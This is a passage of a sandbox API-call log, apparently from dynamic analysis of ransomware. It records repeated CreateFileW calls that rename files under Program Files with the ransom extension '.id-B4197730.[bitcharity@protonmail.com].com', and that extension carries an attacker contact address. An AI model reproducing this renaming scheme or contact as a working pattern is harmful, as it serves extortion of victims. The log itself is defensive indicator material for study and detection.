[0277.077] CloseHandle (hObject=0x115c) returned 1 [0277.078] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.078] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.078] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.079] CloseHandle (hObject=0x115c) returned 1 [0277.079] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.079] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.079] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.080] CloseHandle (hObject=0x115c) returned 1 [0277.081] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.081] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.081] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.081] CloseHandle (hObject=0x115c) returned 1 [0277.796] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.796] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.796] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.796] CloseHandle (hObject=0x11c4) returned 1 [0277.797] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.797] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.797] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.798] CloseHandle (hObject=0x11c4) returned 1 [0277.912] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.912] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.912] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.912] CloseHandle (hObject=0x11c4) returned 1 [0277.924] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.924] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.924] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.925] CloseHandle (hObject=0x11c4) returned 1 [0277.986] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.986] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.986] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.987] CloseHandle (hObject=0x11c4) returned 1 [0277.989] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.989] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.989] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.989] CloseHandle (hObject=0x11c4) returned 1 [0277.993] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.993] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.993] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.993] CloseHandle (hObject=0x11c4) returned 1 [0277.995] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.995] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.995] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.995] CloseHandle (hObject=0x11c4) returned 1 [0277.996] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.996] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.996] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.997] CloseHandle (hObject=0x11c4) returned 1 [0277.997] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.998] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.998] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.998] CloseHandle (hObject=0x11c4) returned 1 [0278.001] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.001] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.001] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.001] CloseHandle (hObject=0x11c4) returned 1 [0278.002] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.002] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.002] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.002] CloseHandle (hObject=0x11c4) returned 1 [0278.004] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.004] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.004] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.004] CloseHandle (hObject=0x11c4) returned 1 [0278.005] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.005] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.005] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\tr-tr\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.005] CloseHandle (hObject=0x11c4) returned 1 [0278.008] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.008] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.008] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.009] CloseHandle (hObject=0x11c4) returned 1 [0278.010] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.010] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.010] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.010] CloseHandle (hObject=0x11c4) returned 1 [0278.011] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.012] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.012] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.012] CloseHandle (hObject=0x11c4) returned 1 [0278.013] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.013] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.013] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\uk-ua\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.013] CloseHandle (hObject=0x11c4) returned 1 [0278.018] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.018] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.018] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.018] CloseHandle (hObject=0x11c4) returned 1 [0278.442] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.442] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.442] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\1494870c-9912-c184-4cc9-b401-a53f4d8de290.pdf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.442] CloseHandle (hObject=0x11a8) returned 1 [0278.446] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.446] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.446] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\copying.lgplv2.1.txt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.447] CloseHandle (hObject=0x11a8) returned 1 [0278.452] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.452] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.452] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\license.txt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.452] CloseHandle (hObject=0x11c4) returned 1 [0278.455] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.455] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.455] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AGMGPUOptIn.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\agmgpuoptin.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.455] CloseHandle (hObject=0x11c4) returned 1 [0278.456] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.456] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.456] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\browser\\wcchromeextn\\manifest.json.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.456] CloseHandle (hObject=0x11c4) returned 1 [0278.457] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.457] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.458] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\click on 'change' to select default pdf handler.pdf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.458] CloseHandle (hObject=0x11c4) returned 1 [0278.459] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.459] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.459] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files 